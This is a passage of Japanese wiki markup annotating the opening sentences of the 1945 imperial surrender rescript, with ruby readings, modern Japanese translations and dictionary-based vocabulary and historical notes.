;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;収&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しゅう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;拾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しゅう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;せんと&lt;ruby&gt;&lt;rb&gt;欲&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ほっ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し、&lt;ruby&gt;&lt;rb&gt;玆&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ここ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;忠&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちゅう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;良&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;りょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;なる&lt;ruby&gt;&lt;rb&gt;爾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;なんじ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;臣&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;民&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;みん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;告&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;つ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ぐ。&lt;/p&gt;
&lt;/div&gt;

# [[#朕󠄂&amp;#xE0102;（ちん）]]
# [[#朕󠄂&amp;#xE0102;深ク世界ノ大勢ト帝國ノ現狀トニ鑑ミ]]
# [[#非常ノ措置ヲ以テ時局ヲ收拾セムト欲シ]]
# [[#玆ニ忠良ナル爾臣民ニ吿ク]]

=== 朕󠄂&amp;#xE0102;（ちん） ===
*「&lt;span style=&quot;font-family:游明朝;font-size:20pt;&quot;&gt;朕󠄂&amp;#xE0102;&lt;/span&gt;」は、古代中国で自称として用いられていた言葉だが、[[w:秦|秦]]の[[w:始皇帝|始皇帝]]から[[w:天子|天子]]（皇帝）の自称に限られるようになり、以後は中国・ベトナム・日本の君主の自称として、特に日本では歴代天皇の自称として用いられてきた&lt;ref&gt;[https://kotobank.jp/word/%E6%9C%95-569835 朕(チン)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;。&lt;br&gt;昭和21年（1946年）の「[[w:人間宣言|人間宣言]]」によって天皇の神格化が完全に否定され、さらに昭和22年（1947年）の[[w:日本国憲法|日本国憲法]]の施行後は「&lt;span style=&quot;font-family:游明朝;&quot;&gt;朕󠄂&amp;#xE0102;&lt;/span&gt;」は一切用いられなくなり、以後の天皇の自称は「&lt;span style=&quot;color:#f88;&quot;&gt;わたくし&lt;/span&gt;」となっている。

=== 朕󠄂&amp;#xE0102;深ク世界ノ大勢ト帝國ノ現狀トニ鑑ミ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;深&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ふか&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;く&lt;ruby&gt;&lt;rb&gt;世&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;界&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;大&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;勢&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と&lt;ruby&gt;&lt;rb&gt;帝&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;てい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;現&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;げん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;状&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;とに&lt;ruby&gt;&lt;rb&gt;鑑&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かんが&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;み、&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：わたくしは、世界の情勢と帝国（大日本帝国）の現状とを深く考え合わせ、&lt;/p&gt;
==== 鑑みる ====
*「鑑みる」：先例や他の例とくらべ合わせて考える&lt;ref&gt;[https://kotobank.jp/word/%E9%91%91%E3%81%BF%E3%82%8B-459421#w-1924987 鑑みる(カガミル)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
=== 非常ノ措置ヲ以テ時局ヲ收拾セムト欲シ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;&lt;ruby&gt;&lt;rb&gt;非&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ひ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;常&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;措&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;置&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ち&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;以&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;もっ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;て&lt;ruby&gt;&lt;rb&gt;時&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;局&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;きょく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;収&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しゅう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;拾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しゅう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;せんと&lt;ruby&gt;&lt;rb&gt;欲&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ほっ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し、&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：緊急措置によって局面を収拾しようと思って、&lt;/p&gt;
==== 非常の ====
*「非常（の）」：普通でない差し迫った、思いがけない緊急事態の&lt;ref&gt;[https://kotobank.jp/word/%E9%9D%9E%E5%B8%B8-610028#w-2096327 非常(ヒジョウ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
==== 時局 ====
*「時局」：国家・社会などの、その時の情勢。時世の局面。&lt;ref&gt;[https://kotobank.jp/word/%E6%99%82%E5%B1%80-518076#w-518076 時局(ジキョク)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
==== 収集 ====
*「収拾」：乱れた事態などをおさめること。&lt;ref&gt;[https://kotobank.jp/word/%E5%8F%8E%E6%8B%BE-526879#w-1997828 収拾(シュウシュウ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
=== 玆ニ忠良ナル爾臣民ニ吿ク ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;&lt;ruby&gt;&lt;rb&gt;玆&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ここ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;忠&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちゅう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;良&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;りょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;なる&lt;ruby&gt;&lt;rb&gt;爾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;なんじ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;臣&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;民&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;みん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;告&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;つ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ぐ。&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：ここに、忠実で善良なあなたがた国民に告げる。&lt;/p&gt;
==== 玆（ここ）に ====
*「玆に（ここに）」：この時にあたり。&lt;ref&gt;[https://kotobank.jp/word/%E6%AD%A4%E5%87%A6%E3%81%AB-500393#w-500393 此処に(ココニ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
==== 忠良 ====
*「忠良」：忠義で善良なこと。また、そのさまや、その人。&lt;ref&gt;[https://kotobank.jp/word/%E5%BF%A0%E8%89%AF-567930#w-567930 忠良(チュウリョウ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
==== 爾（なんじ） ====
*「爾」：「汝」におなじ。「なむじ」が転訛した二人称の代名詞で、中世以降は目下の者に用いられた。&lt;ref&gt;[https://kotobank.jp/word/%E6%B1%9D-429890#w-590506 な‐んじ〔‐んぢ〕【×汝／×爾】- コトバンク]&lt;/ref&gt;
=== 臣民 ===
*「臣民」：臣下としての国民。明治憲法（[[w:大日本帝国憲法|大日本帝国憲法]]）憲法のもとで、天皇、皇・公族以外の者。&lt;ref&gt;[https://kotobank.jp/word/%E8%87%A3%E6%B0%91-82595#w-2013169 臣民(シンミン)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;

&lt;span style=&quot;color:#500;&quot;&gt;
&lt;/span&gt;
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;p style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;

== 第二段落 ==
&lt;!--◆第二段落--&gt;&lt;div style=&quot;background-color:#ffd;&quot;&gt;
&lt;p style=&quot;line-height:1.3; margin-bottom: 15px; text-align:left; font-family:游明朝;font-size:13pt;&quot;&gt;（原文）&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;ハ帝國政府ヲシテ米英支蘇四國ニ對シ其ノ共同宣言ヲ受諾スル旨&lt;span style=&quot;color:#500;&quot;&gt;通&amp;#xE0101;&lt;/span&gt;吿セシメタリ&lt;/p&gt;
&lt;p style=&quot;background-color:#ffe; line-height:1.3; font-family:游明朝;font-size:13pt;&quot;&gt;　　　　&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は&lt;ruby&gt;&lt;rb&gt;帝&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;てい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;政&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;府&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ふ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;をして、
&lt;ruby&gt;&lt;rb&gt;米&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;べい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;英&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;えい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;支&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;蘇&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;四&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;対&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し、
&lt;ruby&gt;&lt;rb&gt;其&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;共&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;きょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;同&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;どう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;宣&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;言&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;げん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;受&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じゅ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;諾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;だく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;する&lt;ruby&gt;&lt;rb&gt;旨&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;むね&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;通&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;つう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;告&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;せしめたり。&lt;/p&gt;
&lt;/div&gt;
# [[#朕&amp;#xE0102;ハ帝國政府ヲシテ]]
#* [[#帝国政府]]
# [[#米英支蘇四國ニ對シ]]
#* [[#米英支蘇四國]]
# [[#其ノ共同宣言ヲ受諾スル旨通󠄁吿セシメタリ]]
#* [[#共同宣言ヲ受諾]]

=== 朕&amp;#xE0102;ハ帝國政府ヲシテ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は&lt;ruby&gt;&lt;rb&gt;帝&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;てい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;政&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;府&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ふ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;をして、&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：わたくしは、帝国&lt;small&gt;（大日本帝国）&lt;/small&gt;政府に命じて、&lt;/p&gt;
==== 帝国政府 ====
*「帝国政府」：[[w:大日本帝国憲法|大日本帝国憲法]]&lt;ref&gt;[https://kotobank.jp/word/%E5%A4%A7%E6%97%A5%E6%9C%AC%E5%B8%9D%E5%9B%BD%E6%86%B2%E6%B3%95-91835 大日本帝国憲法(ダイニッポンテイコクケンポウ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;（明治憲法）のもとでの総理大臣を首班とする内閣。
**より具体的には、[[w:鈴木貫太郎内閣|鈴木貫太郎内閣]]&lt;ref&gt;[https://kotobank.jp/word/%E9%88%B4%E6%9C%A8%E8%B2%AB%E5%A4%AA%E9%83%8E%E5%86%85%E9%96%A3-845136 鈴木貫太郎内閣(すずきかんたろうないかく)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;のことを指す。
**明治憲法は「天皇主権」&lt;ref&gt;[https://kotobank.jp/word/%E5%A4%A9%E7%9A%87%E4%B8%BB%E6%A8%A9-1566340 天皇主権(てんのうしゅけん)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;、つまり行政権の主体は「天皇」にあり、「国務大臣」めいめいが天皇を「輔弼」（補佐）して各省を管轄する体制となっていた。憲法には「内閣」や「内閣総理大臣」の規定がなく、「内閣」は天皇の命令で動く国務大臣たちの協議の場に過ぎなかった。
**また、軍隊を指揮監督する最高権限「[[w:統帥権|統帥権]]」&lt;ref&gt;[https://kotobank.jp/word/%E7%B5%B1%E5%B8%A5%E6%A8%A9-103758#w-855138 統帥権(トウスイケン)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;は主権者である「天皇」にあり、「内閣・政府」は軍隊や戦争に関する決定権を持たなかった。
**「内閣・政府」には憲法上の行政の統括権限がなかったが、実務上は「内閣」が国家の意思決定や諸外国との外交交渉を行う「窓口」であり、実務組織となっていた。
=== 米英支蘇四國ニ對シ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;&lt;ruby&gt;&lt;rb&gt;米&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;べい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;英&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;えい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;支&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;蘇&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;四&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;対&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し、&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：アメリカ・イギリス・中国・ソビエトの４か国に対して、&lt;/p&gt;
==== 米英支蘇四國 ====
*「米英支蘇四國」：ポツダム宣言を発した、米（アメリカ）・英（イギリス）・&lt;u&gt;支&lt;/u&gt;那（中華民国）の３か国、および後から名を連ねた&lt;u&gt;蘇&lt;/u&gt;聯（ソビエト連邦）
**詔書の草案の段階では、「&lt;span style=&quot;color:#500;&quot;&gt;米英二国&lt;ruby&gt;&lt;rb&gt;並&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ならび&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ニ重慶政権ソヴィエート聯邦&lt;/span&gt;」「&lt;span style=&quot;color:#500;&quot;&gt;米英重慶ソヴィエート政府&lt;/span&gt;」としているものもあった。
***中国（支那）では、日本は、日本軍の&lt;ruby&gt;&lt;rb&gt;傀儡&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かいらい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;である[[w:汪兆銘政権|&lt;ruby&gt;&lt;rb&gt;汪兆銘&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おうちょうめい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;政権]]のみを国家承認しており、戦争中の敵国であり[[w:重慶市|&lt;ruby&gt;&lt;rb&gt;重慶&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じゅうけい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;]]を首都としていた[[w:蔣介石|&lt;ruby&gt;&lt;rb&gt;蔣介石&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しょうかいせき&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;]]&lt;ref&gt;[https://kotobank.jp/word/%E8%92%8B%E4%BB%8B%E7%9F%B3-18318#E3.83.87.E3.82.B8.E3.82.BF.E3.83.AB.E5.A4.A7.E8.BE.9E.E6.B3.89 蒋介石(ショウカイセキ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;が率いる[[w:中華民国 (1912年-1949年)|中華民国]]&lt;ref&gt;[https://kotobank.jp/word/%E4%B8%AD%E8%8F%AF%E6%B0%91%E5%9B%BD-97091#E3.83.87.E3.82.B8.E3.82.BF.E3.83.AB.E5.A4.A7.E8.BE.9E.E6.B3.89 中華民国(チュウカミンコク)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;の[[w:国民政府|国民政府]]&lt;ref&gt;[https://kotobank.jp/word/%E5%9B%BD%E6%B0%91%E6%94%BF%E5%BA%9C-64266#E3.83.87.E3.82.B8.E3.82.BF.E3.83.AB.E5.A4.A7.E8.BE.9E.E6.B3.89 国民政府(コクミンセイフ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;&lt;ref&gt;[https://kotobank.jp/word/%E4%B8%AD%E8%8F%AF%E6%B0%91%E5%9B%BD%E5%9B%BD%E6%B0%91%E6%94%BF%E5%BA%9C-1366638 中華民国国民政府(ちゅうかみんこくこくみんせいふ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;のことは認めずに「&lt;span style=&quot;color:#500;&quot;&gt;重慶政権&lt;/span&gt;」などと呼んでいた。
=== 其ノ共同宣言ヲ受諾スル旨通󠄁吿セシメタリ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;&lt;ruby&gt;&lt;rb&gt;其&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;共&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;きょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;同&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;どう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;宣&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;言&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;げん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;受&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じゅ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;諾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;だく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;する&lt;ruby&gt;&lt;rb&gt;旨&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt